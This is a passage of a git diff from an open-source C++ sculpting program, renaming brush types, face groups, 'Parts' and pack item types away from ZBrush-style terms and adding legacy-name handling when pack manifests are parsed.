const bool useAlpha = alpha && !alpha->empty() && !maskBrush;
- const float reach = useAlpha ? kAlphaReach : type == BrushType::ClayBuildup && !maskBrush ? 1.3f : 1.0f;
+ const float reach = useAlpha ? kAlphaReach : type == BrushType::ClayBlock && !maskBrush ? 1.3f : 1.0f;
// The displacement range this dab may need: widened first (it costs precision) when what a dab adds could
// pass it; a dab that still clips (planes far off) widens it for the next one.
@@ -356,7 +356,7 @@ void MicroStroke::dab(Mesh& m, const BVH& bvh, BrushType type, const glm::vec3&
const glm::vec3 right = glm::cross(up, areaNormal);
const float layerHeight = r * 0.08f * s;
const bool readsNeighbours = type == BrushType::Smooth || type == BrushType::Pinch || type == BrushType::Crease ||
- type == BrushType::DamStandard;
+ type == BrushType::SharpCrease;
// 3. The kernel, in parallel over the triangles (each writes only its own grid). Scale-adaptive: the brush is
// evaluated on the grid points `stride` apart, about kBrushSamples across its radius, and the points in between
@@ -407,7 +407,7 @@ void MicroStroke::dab(Mesh& m, const BVH& bvh, BrushType type, const glm::vec3&
}
float f = useAlpha ? alpha->stamp(glm::dot(o, right) / r, glm::dot(o, up) / r, focal)
: brushFalloff(std::sqrt(dist2), r, focal);
- if (type == BrushType::ClayBuildup && !useAlpha) { // square tip, rounded corners (as Sculpt.cpp)
+ if (type == BrushType::ClayBlock && !useAlpha) { // square tip, rounded corners (as Sculpt.cpp)
const float cheb = std::max(std::abs(glm::dot(o, right)), std::abs(glm::dot(o, up))) / r;
const float corner = std::clamp((1.3f - std::sqrt(dist2) / r) / 0.3f, 0.0f, 1.0f);
const float edge = std::clamp((1.0f - cheb) / 0.35f, 0.0f, 1.0f);
@@ -455,7 +455,7 @@ void MicroStroke::dab(Mesh& m, const BVH& bvh, BrushType type, const glm::vec3&
if (sign * h < 0.0f) delta = -h * f * clayPull(s) / facing;
break;
}
- case BrushType::ClayBuildup: {
+ case BrushType::ClayBlock: {
const glm::vec3 pp = areaCenter + areaNormal * (sign * r * 0.08f * s);
const float h = glm::dot(p - pp, areaNormal);
if (sign * h < 0.0f) delta = -h * f * clayPull(s) / facing;
@@ -478,7 +478,7 @@ void MicroStroke::dab(Mesh& m, const BVH& bvh, BrushType type, const glm::vec3&
case BrushType::Crease:
delta = -sign * s * r * 0.05f * f * f + sharpen(0.5f * s * f);
break;
- case BrushType::DamStandard:
+ case BrushType::SharpCrease:
delta = -sign * s * r * 0.08f * f * f * f * f + sharpen(0.7f * s * f);
break;
default: break;
diff --git a/src/core/Multires.cpp b/src/core/Multires.cpp
index 8354826c..e2af9e19 100644
--- a/src/core/Multires.cpp
+++ b/src/core/Multires.cpp
@@ -63,7 +63,7 @@ void assignLevelArrays(Mesh& out, const Mesh& m) {
out.positions = m.positions;
out.mask = m.mask;
out.colors = m.colors;
- out.polygroups = m.polygroups;
+ out.facegroups = m.facegroups;
out.hidden = m.hidden;
out.uvs = m.uvs;
out.quadPartners = m.quadPartners;
@@ -1290,7 +1290,7 @@ void spreadShape(MultiresStack& s, int c, const Mesh& w, const Mesh& r) {
bool levelsDiffer(const Mesh& w, const Mesh& r) {
if (!sameArray(w.positions, r.positions) || !sameArray(w.base, r.base) || !sameLayerSet(w, r) ||
!sameLayerWeights(w, r) || !sameArray(w.mask, r.mask) || !sameArray(w.colors, r.colors) ||
- !sameArray(w.polygroups, r.polygroups) || !sameArray(w.hidden, r.hidden) || !sameArray(w.uvs, r.uvs) ||
+ !sameArray(w.facegroups, r.facegroups) || !sameArray(w.hidden, r.hidden) || !sameArray(w.uvs, r.uvs) ||
!samePaintSet(w, r) || !samePaintProperties(w, r) || !sameArray(w.paintBase, r.paintBase))
return true;
for (size_t i = 0; i < w.layers.size(); ++i)
@@ -1330,7 +1330,7 @@ std::shared_ptr<Mesh> divideData(const SubdivTopology& tp, const Mesh& coarse) {
}
if (coarse.hasMask()) prolongVertices(tp, coarse.mask, fine->mask, 0.0f, nullptr, f);
if (coarse.hasColors()) prolongVertices(tp, coarse.colors, fine->colors, glm::vec3(1.0f), nullptr, f);
- if (coarse.hasPolygroups()) prolongFaces(tp, coarse.polygroups, fine->polygroups, 0u, nullptr, f);
+ if (coarse.hasFaceGroups()) prolongFaces(tp, coarse.facegroups, fine->facegroups, 0u, nullptr, f);
if (coarse.hasHidden()) prolongFaces(tp, coarse.hidden, fine->hidden, uint8_t(0), nullptr, f);
if (coarse.hasUvs()) prolongUvs(tp, coarse.uvs, fine->uvs, nullptr, f);
if (!coarse.paintLayers.empty()) {
@@ -1398,7 +1398,7 @@ size_t subdivBytes(const Mesh& mesh) {
const Mesh& m = *l.data;
total += m.positions.size() * sizeof(glm::vec3) * (1 + (m.base.empty() ? 0 : 1 + m.layers.size())) +
m.triangles.size() * sizeof(glm::uvec3) + m.mask.size() * 4 + m.colors.size() * 12 +
- m.polygroups.size() * 4 + m.hidden.size() + m.uvs.size() * 8 + m.quadPartners.size() * 4 +
+ m.facegroups.size() * 4 + m.hidden.size() + m.uvs.size() * 8 + m.quadPartners.size() * 4 +
m.paintBase.size() * 12;
for (const PaintLayer& p : m.paintLayers) total += p.color.size() * 12 + p.alpha.size() * 4;
if (l.topo) total += l.topo->bytes();
@@ -1416,7 +1416,7 @@ size_t subdivCacheBytes(const Mesh& mesh) {
const Mesh& m = e.mesh;
// Positions, normals and the vertex adjacency; triangles, face normals, quads and the BVH (estimated).
total += m.vertexCount() * 80 + m.triangleCount() * 48 + m.base.size() * 12 + m.mask.size() * 4 +
- m.colors.size() * 12 + m.polygroups.size() * 4 + m.hidden.size() + m.uvs.size() * 8 +
+ m.colors.size() * 12 + m.facegroups.size() * 4 + m.hidden.size() + m.uvs.size() * 8 +
m.paintBase.size() * 12;
for (const SculptLayer& l : m.layers) total += l.delta.size() * 12;
for (const PaintLayer& p : m.paintLayers) total += p.color.size() * 12 + p.alpha.size() * 4;
@@ -1436,9 +1436,9 @@ std::string subdivDroppedNote(const Mesh& mesh, const std::string& name) {
" kept as the new base";
}
-void noteSubtoolLevelsDropped(Document& doc, int index) {
- if (index < 0 || index >= doc.subtoolCount()) return;
- const std::string note = subdivDroppedNote(doc.subtoolMesh(index), doc.subtools[size_t(index)].name);
+void notePartLevelsDropped(Document& doc, int index) {
+ if (index < 0 || index >= doc.partCount()) return;
+ const std::string note = subdivDroppedNote(doc.partMesh(index), doc.parts[size_t(index)].name);
if (!note.empty()) doc.notice += (doc.notice.empty() ? "" : "; ") + note;
}
@@ -1516,7 +1516,7 @@ bool subdivCommit(Mesh& w) {
for (int j = 0; j < n; ++j)
if (j != c && hasPaintLayers(*s.levels[size_t(j)].data)) compositePaintAll(mutableData(s.levels[size_t(j)]));
}
- spreadFaceArray(s, c, w.polygroups, r->polygroups, 0u, [](Mesh& m) -> std::vector<uint32_t>& { return m.polygroups; });
+ spreadFaceArray(s, c, w.facegroups, r->facegroups, 0u, [](Mesh& m) -> std::vector<uint32_t>& { return m.facegroups; });
spreadFaceArray(s, c, w.hidden, r->hidden, uint8_t(0), [](Mesh& m) -> std::vector<uint8_t>& { return m.hidden; });
spreadUvs(s, c, w, *r);
@@ -2149,7 +2149,7 @@ bool subdivReconstruct(Mesh& mesh, std::string& error, BVH* bvh) {
return false;
}
- // Coarse shape: the fine level's corner vertices, as ZBrush does (fitting the cage so its subdivision passes
+ // Coarse shape: the fine level's corner vertices (fitting the cage so its subdivision passes
// through them overshoots badly on sharp shapes, and compounds over several levels); the detail of the fine
// level keeps it exactly as it was.
const std::vector<glm::vec3>& fineBase = baseChannel(mesh);
@@ -2158,7 +2158,7 @@ bool subdivReconstruct(Mesh& mesh, std::string& error, BVH* bvh) {
std::vector<uint8_t> f;
if (mesh.hasMask()) restrictVertices(*tp, mesh.mask, coarse.mask, 0.0f, nullptr, f);
if (mesh.hasColors()) restrictVertices(*tp, mesh.colors, coarse.colors, glm::vec3(1.0f), nullptr, f);
- if (mesh.hasPolygroups()) restrictFaces(*tp, mesh.polygroups, coarse.polygroups, coarse.triangleCount(), 0u, nullptr, f);
+ if (mesh.hasFaceGroups()) restrictFaces(*tp, mesh.facegroups, coarse.facegroups, coarse.triangleCount(), 0u, nullptr, f);
if (mesh.hasHidden()) restrictFaces(*tp, mesh.hidden, coarse.hidden, coarse.triangleCount(), uint8_t(0), nullptr, f);
if (mesh.hasUvs()) restrictUvs(*tp, coarse.triangles, mesh.uvs, coarse.uvs, nullptr, f);
if (!rec.pairing.empty()) coarse.quadPartners = rec.pairing;
@@ -2247,7 +2247,7 @@ void applySubdivUndo(SubdivUndo& r, Mesh& mesh, BVH& bvh) {
namespace {
-// Runs a level operation on the active SubTool as one undo step that swaps the level stack back.
+// Runs a level operation on the active Part as one undo step that swaps the level stack back.
// `plainLevel`: for operations that can start without levels, the level of the new stack that holds the mesh
// as it was (it is the undo's `plain` mesh, shared rather than copied).
template <class Op>
diff --git a/src/core/Multires.h b/src/core/Multires.h
index 75a622a3..0f19f5dc 100644
--- a/src/core/Multires.h
+++ b/src/core/Multires.h
@@ -1,10 +1,10 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// Multiresolution subdivision levels, ZBrush style (Tool > Geometry: Divide, Lower Res / Higher Res, SDiv,
+// Multiresolution subdivision levels, classic (Tool > Geometry: Divide, Lower Res / Higher Res, SDiv,
// Del Lower / Del Higher, Reconstruct Subdiv, Smt).
//
-// A SubTool's mesh may carry a stack of levels (Mesh::multires). Level 0 is the base cage; each higher level
+// A Part's mesh may carry a stack of levels (Mesh::multires). Level 0 is the base cage; each higher level
// is the one below subdivided (Catmull-Clark when the mesh has quads, so quads stay quads; Loop on pure
// triangle meshes; or flat when Smt was off) plus a detail displacement per vertex, stored in the local frame
// (tangent, bitangent, normal) of the subdivided surface:
@@ -19,7 +19,7 @@
// change at its own and its neighbouring fine vertices), the details of the levels in between are
// re-fitted so the current level stays exactly as sculpted, and higher levels are re-evaluated from their
// unchanged details on the way up;
-// - mask, polypaint and paint layers (per vertex), polygroups and hidden faces (per triangle) and UVs (per
+// - mask, vertex paint and paint layers (per vertex), face groups and hidden faces (per triangle) and UVs (per
// corner) are copied down to the parent elements and interpolated / inherited up, only where they changed,
// so detail painted at a high level survives an edit somewhere else at a low level;
// - sculpt layers are their own displacement channels, subdivided with the same stencils; their per-level
@@ -132,7 +132,7 @@ struct SubdivLevel {
// Working meshes (with topology and normals) and BVHs of the levels most recently left, so stepping back to
// one is a move instead of a rebuild. Keyed by the level's data, so any change to the level misses. Only the
-// active SubTool keeps one: Document::selectSubtool frees the cache of the SubTool it leaves (subdivReleaseCache).
+// active Part keeps one: Document::selectPart frees the cache of the Part it leaves (subdivReleaseCache).
struct SubdivLevelCache;
struct MultiresStack {
@@ -144,7 +144,7 @@ struct MultiresStack {
// --- Queries (0 levels = a plain mesh) ---
int subdivLevelCount(const Mesh& mesh);
int subdivCurrentLevel(const Mesh& mesh); // 0-based; 0 without levels
-// "SDiv 3/5" (1-based, as ZBrush shows it), or "" without levels.
+// "SDiv 3/5" (1-based shows it), or "" without levels.
std::string subdivLevelText(const Mesh& mesh);
// Triangle count of level `level`.
size_t subdivLevelTriangles(const Mesh& mesh, int level);
@@ -155,19 +155,19 @@ bool subdivMatches(const Mesh& mesh);
size_t subdivBytes(const Mesh& mesh);
// Bytes the level cache holds (cached working meshes and their BVHs; approximate).
size_t subdivCacheBytes(const Mesh& mesh);
-// Frees the level cache (the next step to another level rebuilds it): for SubTools that aren't active and
+// Frees the level cache (the next step to another level rebuilds it): for Parts that aren't active and
// meshes kept by undo steps.
void subdivReleaseCache(Mesh& mesh);
// --- Tools that rebuild the mesh (voxel remesh, decimate, QRemesh, Subdivide, Delete Hidden, merging and
-// splitting SubTools) work on the current level, pending edits included, and leave a plain mesh: the levels
+// splitting Parts) work on the current level, pending edits included, and leave a plain mesh: the levels
// are dropped and the current level becomes the new base. ---
// The status-line note for dropping `mesh`'s levels: "Subdivision levels removed: SDiv 3 of 5 kept as the new
-// base". "" when the mesh has no levels. `name` (a SubTool name, optional) prefixes the level.
+// base". "" when the mesh has no levels. `name` (a Part name, optional) prefixes the level.
std::string subdivDroppedNote(const Mesh& mesh, const std::string& name = {});
-// Adds the note for SubTool `index` (named) to doc.notice, for operations that aren't undoable (merging and
-// splitting SubTools). Nothing when it has no levels.
-void noteSubtoolLevelsDropped(Document& doc, int index);
+// Adds the note for Part `index` (named) to doc.notice, for operations that aren't undoable (merging and
+// splitting Parts). Nothing when it has no levels.
+void notePartLevelsDropped(Document& doc, int index);
// --- Operations on the mesh (no undo; see the commands / Document helpers below) ---
// Each returns false with `error` set when it can't run. All of them reconcile pending edits first.
diff --git a/src/core/MultiresCommands.cpp b/src/core/MultiresCommands.cpp
index dbfc10a4..a2b3d31f 100644
--- a/src/core/MultiresCommands.cpp
+++ b/src/core/MultiresCommands.cpp
@@ -1,7 +1,7 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// subdiv_* commands: ZBrush's Tool > Geometry subdivision levels for scripts, the console and the AI assistant.
+// subdiv_* commands: the classic Tool > Geometry subdivision levels for scripts, the console and the AI assistant.
#include "core/Commands.h"
#include "core/Multires.h"
@@ -31,7 +31,7 @@ std::string exportCommandFor(const std::string& ext) {
if (ext == ".fbx") return "export_fbx";
if (ext == ".ply") return "export_ply";
if (ext == ".stl") return "export_stl";
- if (ext == ".goz") return "goz_export";
+ if (ext == ".bridge") return "bridge_export";
return {};
}
@@ -129,15 +129,15 @@ void registerSubdivCommands(CommandRegistry& reg) {
const std::string command = exportCommandFor(lowerExtension(path));
if (command.empty()) return {false, "Unknown export format: " + path};
const int level = std::max(1, int(argNumber(a, "level", 1))) - 1;
- // A scratch scene with each visible SubTool at that level, written by the normal exporter.
+ // A scratch scene with each visible Part at that level, written by the normal exporter.
Document scratch;
bool first = true;
- for (int i = 0; i < doc.subtoolCount(); ++i) {
- if (!doc.subtools[size_t(i)].visible && doc.subtoolCount() > 1) continue;
- const Mesh& m = doc.subtoolMesh(i);
+ for (int i = 0; i < doc.partCount(); ++i) {
+ if (!doc.parts[size_t(i)].visible && doc.partCount() > 1) continue;
+ const Mesh& m = doc.partMesh(i);
Mesh lm = subdivLevelMesh(m, std::min(level, std::max(subdivLevelCount(m) - 1, 0)));
- if (first) scratch.setMesh(std::move(lm), doc.subtools[size_t(i)].name);
- else scratch.addSubtool(std::move(lm), doc.subtools[size_t(i)].name, false);
+ if (first) scratch.setMesh(std::move(lm), doc.parts[size_t(i)].name);
+ else scratch.addPart(std::move(lm), doc.parts[size_t(i)].name, false);
first = false;
}
if (first) return {false, "Nothing visible to export"};
diff --git a/src/core/Pack.cpp b/src/core/Pack.cpp
index 74eaddaa..5e4f5960 100644
--- a/src/core/Pack.cpp
+++ b/src/core/Pack.cpp
@@ -6,6 +6,7 @@
#include "core/BrushRecipe.h"
#include "core/Commands.h"
#include "core/Image.h"
+#include "core/LegacyNames.h"
#include "core/Macro.h"
#include "core/MaterialRecipe.h"
#include "core/RadialMenu.h"
@@ -139,7 +140,7 @@ const char* packItemTypeId(PackItemType t) {
switch (t) {
case PackItemType::Brush: return "brush";
case PackItemType::Alpha: return "alpha";
- case PackItemType::Matcap: return "matcap";
+ case PackItemType::LitSphere: return "litsphere";
case PackItemType::Material: return "material";
case PackItemType::Vdm: return "vdm";
case PackItemType::Keymap: return "keymap";
@@ -154,7 +155,7 @@ const char* packItemFolder(PackItemType t) {
switch (t) {
case PackItemType::Brush: return "brushes";
case PackItemType::Alpha: return "alphas";
- case PackItemType::Matcap: return "matcaps";
+ case PackItemType::LitSphere: return "litspheres";
case PackItemType::Material: return "materials";
case PackItemType::Vdm: return "vdms";
case PackItemType::Keymap: return "keymaps";
@@ -170,7 +171,7 @@ const char* packItemLabel(PackItemType t, int count) {
switch (t) {
case PackItemType::Brush: return one ? "brush" : "brushes";
case PackItemType::Alpha: return one ? "alpha" : "alphas";
- case PackItemType::Matcap: return one ? "Lit Sphere" : "Lit Spheres";
+ case PackItemType::LitSphere: return one ? "Lit Sphere" : "Lit Spheres";
case PackItemType::Material: return one ? "Material Recipe" : "Material Recipes";
case PackItemType::Vdm: return one ? "VDM" : "VDMs";
case PackItemType::Keymap: return one ? "keymap" : "keymaps";
@@ -195,7 +196,7 @@ bool packItemExtensionOk(PackItemType t, const std::string& fileName) {
switch (t) {
case PackItemType::Brush: return ext == ".sfbrush";
case PackItemType::Alpha:
- case PackItemType::Matcap: return ext == ".png" || ext == ".jpg" || ext == ".jpeg";
+ case PackItemType::LitSphere: return ext == ".png" || ext == ".jpg" || ext == ".jpeg";
case PackItemType::Material: return ext == kMaterialRecipeExtension;
case PackItemType::Vdm: return ext == ".sfvdm";
case PackItemType::Keymap:
@@ -322,7 +323,8 @@ bool parsePackManifest(const std::string& textIn, PackManifest& out, std::string
return false;
}
PackItem item;
- if (!packItemTypeFromId(it["type"].asString(), item.type)) {
+ // legacy::modernize: a pack made for an older version names some types and folders the old way.
+ if (!packItemTypeFromId(legacy::modernize(it["type"].asString()), item.type)) {
error = where + " has an unknown type \"" + radialCleanText(it["type"].asString(), 40) + "\"";
return false;
}
@@ -333,8 +335,10 @@ bool parsePackManifest(const std::string& textIn, PackManifest& out, std::string
return false;
}
const std::string folder = std::string(packItemFolder(item.type)) + "/";
- if (item.path.compare(0, folder.size(), folder) != 0 || item.path.find('/', folder.size()) != std::string::npos ||
- item.path.size() == folder.size()) {
+ if (const std::string inFolder = legacy::modernize(item.path.substr(0, item.path.find('/') + 1)) +
+ item.path.substr(item.path.find('/') + 1);
+ inFolder.compare(0, folder.size(), folder) != 0 || item.path.find('/', item.path.find('/') + 1) != std::string::npos ||
+ inFolder.size() == folder.size()) {
error = where + ": a " + packItemTypeId(item.type) + " must be directly in " + folder;
return false;
}
@@ -709,7 +713,7 @@ bool checkPackFile(PackItemType type, const PackFile& f, const CommandRegistry*
return true;
}
case PackItemType::Alpha:
- case PackItemType::Matcap: return imageOk(f.data, 4096, error, f.name);
+ case PackItemType::LitSphere: return imageOk(f.data, 4096, error, f.name);
case PackItemType::Material: {
if (f.data.size() > 256 * 1024) {
error = "\"" + shown + "\" is too big for a Material Recipe";
@@ -1302,7 +1306,7 @@ void registerPackCommands(CommandRegistry& registry) {
return {true, "Removed pack " + argString(a, "id")};
}});
registry.add({"pack_create",
- "Make a pack (.sfpack) from a folder laid out like one: brushes/, alphas/, matcaps/, materials/, vdms/, " // marks-pending
+ "Make a pack (.sfpack) from a folder laid out like one: brushes/, alphas/, litspheres/, materials/, vdms/, "
"keymaps/, piemenus/ and macros/ (each with its own file types), plus LICENSE.txt and preview.png if "
"there. Everything is checked exactly as an install would check it.",
{{"folder", T::String, "The folder holding the items.", true},
diff --git a/src/core/Pack.h b/src/core/Pack.h
index a4c19433..7a2b23f3 100644
--- a/src/core/Pack.h
+++ b/src/core/Pack.h
@@ -39,7 +39,7 @@ struct PackLimits {
size_t nameBytes = 160; // one file name, with its folder
};
-enum class PackItemType { Brush, Alpha, Matcap, Material, Vdm, Keymap, PieMenu, Macro, Count };
+enum class PackItemType { Brush, Alpha, LitSphere, Material, Vdm, Keymap, PieMenu, Macro, Count };
constexpr int kPackItemTypes = int(PackItemType::Count);
const char* packItemTypeId(PackItemType t); // "brush" (pack.json)
const char* packItemFolder(PackItemType t); // "brushes" (the folder inside the pack)
diff --git a/src/core/PaintLayer.cpp b/src/core/PaintLayer.cpp
index 5241dfd4..f7714c20 100644
--- a/src/core/PaintLayer.cpp
+++ b/src/core/PaintLayer.cpp
@@ -101,7 +101,7 @@ void parallelRange(size_t n, Fn fn) {
for (auto& th : pool) th.join();
}
-// Creates the stack: Base = today's polypaint (white when unpainted).
+// Creates the stack: Base = today's vertex paint (white when unpainted).
void ensureStack(Mesh& m) {
if (!m.paintLayers.empty()) return;
m.ensureColors();
@@ -109,7 +109,7 @@ void ensureStack(Mesh& m) {
m.activePaintLayer = -1;
}
-// Back to plain polypaint once the last layer is gone (colors already holds Base).
+// Back to plain vertex paint once the last layer is gone (colors already holds Base).
void dropStackIfEmpty(Mesh& m) {
if (!m.paintLayers.empty()) return;
if (m.paintBase.size() == m.colors.size()) m.colors = m.paintBase;
diff --git a/src/core/PaintLayer.h b/src/core/PaintLayer.h
index e20641b5..6430939a 100644
--- a/src/core/PaintLayer.h
+++ b/src/core/PaintLayer.h
@@ -1,9 +1,9 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// Paint layers: a Photoshop-style stack of polypaint layers per mesh (SubTool).
+// Paint layers: a Photoshop-style stack of vertex paint layers per mesh (Part).
//
-// Without paint layers Mesh::colors is the polypaint, as it always was. Once a
+// Without paint layers Mesh::colors is the vertex paint, as it always was. Once a
// layer is added, Mesh::paintBase holds the bottom ("Base") layer, every
// PaintLayer holds its own colour plus per-vertex coverage (alpha), and
// Mesh::colors is the composited result that the viewport, exporters and
@@ -71,7 +71,7 @@ struct PaintLayer {
// --- Stack queries ---
bool hasPaintLayers(const Mesh& mesh);
-int paintLayerCount(const Mesh& mesh); // layers above Base (0 = plain polypaint)
+int paintLayerCount(const Mesh& mesh); // layers above Base (0 = plain vertex paint)
// The composited colour of vertex `v` (linear RGB) from Base and the visible layers.
glm::vec3 compositePaintVertex(const Mesh& mesh, uint32_t v);
// Recomposites Mesh::colors for `verts` (and marks them dirty), or for every vertex.
@@ -91,11 +91,11 @@ void paintVertex(Mesh& mesh, uint32_t v, const glm::vec3& color, float w, bool e
// --- Stack edits (callers push undo records; see Undo.h PaintStackUndo) ---
// Inserts a transparent layer above `above` (-1 = Base; default: the top) and makes it active.
-// Creates the stack (Base = today's polypaint, or white) when the mesh has none. Returns its index.
+// Creates the stack (Base = today's vertex paint, or white) when the mesh has none. Returns its index.
int addPaintLayer(Mesh& mesh, std::string name, int above = -2);
// Copies layer `layer` (-1 = Base, as an opaque layer) to a new layer above it; returns its index.
int duplicatePaintLayer(Mesh& mesh, int layer);
-// Deletes a layer (not Base); with the last one gone the mesh is plain polypaint again.
+// Deletes a layer (not Base); with the last one gone the mesh is plain vertex paint again.
bool removePaintLayer(Mesh& mesh, int layer);
// Moves a layer one place up (+1) or down (-1); Base stays at the bottom.
bool movePaintLayer(Mesh& mesh, int layer, int direction);
diff --git a/src/core/SubTools.cpp b/src/core/Parts.cpp
similarity index 73%
rename from src/core/SubTools.cpp
rename to src/core/Parts.cpp
index fd9762e6..59563684 100644
--- a/src/core/SubTools.cpp
+++ b/src/core/Parts.cpp
@@ -1,12 +1,12 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
-#include "core/SubTools.h"
+#include "core/Parts.h"
#include "core/Commands.h"
#include "core/Dyntopo.h"
#include "core/Masking.h"
#include "core/Multires.h"
-#include "core/Polygroups.h"
+#include "core/FaceGroups.h"
#include "core/Primitives.h"
#include "core/Sculpt.h"
#include "core/TextureTransfer.h"
@@ -65,8 +65,8 @@ Mesh mergeMeshes(const std::vector<const Mesh*>& meshes) {
// Groups stay distinct per input, so "split by groups" gives the pieces back.
uint32_t maxGroup = 0;
for (uint32_t t = 0; t < nt; ++t) {
- const uint32_t g = m->polygroupAt(t);
- out.polygroups.push_back(groupOffset + g);
+ const uint32_t g = m->facegroupAt(t);
+ out.facegroups.push_back(groupOffset + g);
maxGroup = std::max(maxGroup, g);
}
groupOffset += maxGroup + 1;
@@ -81,7 +81,7 @@ Mesh mergeMeshes(const std::vector<const Mesh*>& meshes) {
}
}
// Group ids start at 0 in the first input; shift so ids are 1-based like new groups elsewhere.
- for (auto& g : out.polygroups) ++g;
+ for (auto& g : out.facegroups) ++g;
if (out.hasQuads()) out.quadPartners.resize(out.triangles.size(), Mesh::kNoQuad);
out.rebuildTopology();
if (!out.layers.empty()) out.evaluateAll(); // weights of same-named layers may have differed
@@ -90,24 +90,24 @@ Mesh mergeMeshes(const std::vector<const Mesh*>& meshes) {
}
Mesh mergedVisibleMesh(const Document& doc) {
- if (doc.subtoolCount() == 1) return doc.mesh;
+ if (doc.partCount() == 1) return doc.mesh;
std::vector<const Mesh*> meshes;
- for (int i = 0; i < doc.subtoolCount(); ++i)
- if (doc.subtools[size_t(i)].visible && doc.subtoolMesh(i).triangleCount()) meshes.push_back(&doc.subtoolMesh(i));
+ for (int i = 0; i < doc.partCount(); ++i)
+ if (doc.parts[size_t(i)].visible && doc.partMesh(i).triangleCount()) meshes.push_back(&doc.partMesh(i));
if (meshes.empty()) return Mesh();
if (meshes.size() == 1) return *meshes.front();
return mergeMeshes(meshes);
}
-std::vector<MeshObjectRef> visibleSubtoolObjects(const Document& doc) {
- if (doc.subtoolCount() == 1) {
+std::vector<MeshObjectRef> visiblePartObjects(const Document& doc) {
+ if (doc.partCount() == 1) {
if (doc.mesh.triangleCount() == 0) return {};
return {{doc.assetName(), &doc.mesh}};
}
std::vector<MeshObjectRef> out;
- for (int i = 0; i < doc.subtoolCount(); ++i)
- if (doc.subtools[size_t(i)].visible && doc.subtoolMesh(i).triangleCount())
- out.push_back({doc.subtools[size_t(i)].name, &doc.subtoolMesh(i)});
+ for (int i = 0; i < doc.partCount(); ++i)
+ if (doc.parts[size_t(i)].visible && doc.partMesh(i).triangleCount())
+ out.push_back({doc.parts[size_t(i)].name, &doc.partMesh(i)});
return out;
}
@@ -120,20 +120,20 @@ void setSceneObjects(Document& doc, std::vector<MeshObject> objects, const std::
return objects.size() == 1 || objects[i].name.empty() ? fallbackName : objects[i].name;
};
doc.setMesh(std::move(objects[0].mesh), nameOf(0));
- for (size_t i = 1; i < objects.size(); ++i) doc.addSubtool(std::move(objects[i].mesh), nameOf(i), false);
+ for (size_t i = 1; i < objects.size(); ++i) doc.addPart(std::move(objects[i].mesh), nameOf(i), false);
doc.markClean();
}
-std::vector<Mesh> splitByPolygroups(const Mesh& mesh) {
+std::vector<Mesh> splitByFaceGroups(const Mesh& mesh) {
std::vector<uint32_t> ids;
- for (uint32_t t = 0; t < mesh.triangleCount(); ++t) ids.push_back(mesh.polygroupAt(t));
+ for (uint32_t t = 0; t < mesh.triangleCount(); ++t) ids.push_back(mesh.facegroupAt(t));
std::sort(ids.begin(), ids.end());
ids.erase(std::unique(ids.begin(), ids.end()), ids.end());
std::vector<Mesh> out;
if (ids.size() < 2) return out;
for (uint32_t id : ids) {
std::vector<uint8_t> keep(mesh.triangleCount());
- for (uint32_t t = 0; t < keep.size(); ++t) keep[t] = mesh.polygroupAt(t) == id;
+ for (uint32_t t = 0; t < keep.size(); ++t) keep[t] = mesh.facegroupAt(t) == id;
out.push_back(extractTriangles(mesh, keep));
}
return out;
@@ -173,31 +173,31 @@ std::string fileStem(const std::string& path) {
std::string countText(size_t tris) { return std::to_string(tris) + " triangles"; }
-// The SubTool an argument names: index= (0-based) or name=, else the active one. -1 if not found.
-int targetSubtool(const Document& doc, const Args& a) {
- if (a.contains("name")) return doc.findSubtool(argString(a, "name"));
+// The Part an argument names: index= (0-based) or name=, else the active one. -1 if not found.
+int targetPart(const Document& doc, const Args& a) {
+ if (a.contains("name")) return doc.findPart(argString(a, "name"));
if (a.contains("index")) {
const int i = int(argNumber(a, "index", -1));
- return i >= 0 && i < doc.subtoolCount() ? i : -1;
+ return i >= 0 && i < doc.partCount() ? i : -1;
}
- return doc.activeSubtool;
+ return doc.activePart;
}
CommandResult notFound(const Args& a) {
return {false, a.contains("name") ? "No Part named '" + argString(a, "name") + "'" : std::string("No such Part")};
}
-// Replaces SubTool `index` by `pieces`, named after it ("Body 1", "Body 2", ...); the first piece is selected.
+// Replaces Part `index` by `pieces`, named after it ("Body 1", "Body 2", ...); the first piece is selected.
void replaceWithPieces(Document& doc, int index, std::vector<Mesh> pieces) {
- noteSubtoolLevelsDropped(doc, index); // the pieces are cut from the current level
- const std::string base = doc.subtools[size_t(index)].name;
- const bool visible = doc.subtools[size_t(index)].visible;
+ notePartLevelsDropped(doc, index); // the pieces are cut from the current level
+ const std::string base = doc.parts[size_t(index)].name;
+ const bool visible = doc.parts[size_t(index)].visible;
for (size_t k = 0; k < pieces.size(); ++k) {
- const int at = doc.addSubtool(std::move(pieces[k]), base + " " + std::to_string(k + 1), false, index + 1 + int(k));
- doc.subtools[size_t(at)].visible = visible;
+ const int at = doc.addPart(std::move(pieces[k]), base + " " + std::to_string(k + 1), false, index + 1 + int(k));
+ doc.parts[size_t(at)].visible = visible;
}
- doc.selectSubtool(index + 1);
- doc.removeSubtool(index);
+ doc.selectPart(index + 1);
+ doc.removePart(index);
}
// Reads the mesh in a model file for insert_mesh (#34): OBJ, PLY or GLB / glTF through the importers, every
@@ -232,7 +232,7 @@ bool normalizedPiece(const Mesh& source, float size, Mesh& out) {
out.positions = source.positions;
out.triangles = source.triangles;
if (source.hasQuads()) out.quadPartners = source.quadPartners;
- out.polygroups.assign(out.triangles.size(), 0u);
+ out.facegroups.assign(out.triangles.size(), 0u);
const AABB box = out.bounds();
const glm::vec3 e = box.extent();
const float largest = std::max({e.x, e.y, e.z});
@@ -245,7 +245,7 @@ bool normalizedPiece(const Mesh& source, float size, Mesh& out) {
// Places `prim` (built around the origin, its axis +Y) where insert_primitive / insert_mesh say: on the surface
// point, +Y along the normal, turned by twist, with mirrored copies for symmetry; merged into the active
-// SubTool as one new polygroup, one undo step.
+// Part as one new face group, one undo step.
CommandResult insertPiece(Document& doc, Mesh prim, const Args& a, const std::string& label) {
std::vector<SymCopy> mirrors;
std::string error;
@@ -271,11 +271,11 @@ CommandResult insertPiece(Document& doc, Mesh prim, const Args& a, const std::st
const glm::vec3 at(float(argNumber(a, "x", 0.0)), float(argNumber(a, "y", 0.0)), float(argNumber(a, "z", 0.0)));
for (auto& p : prim.positions) p = at + rot * p;
uint32_t group = 0;
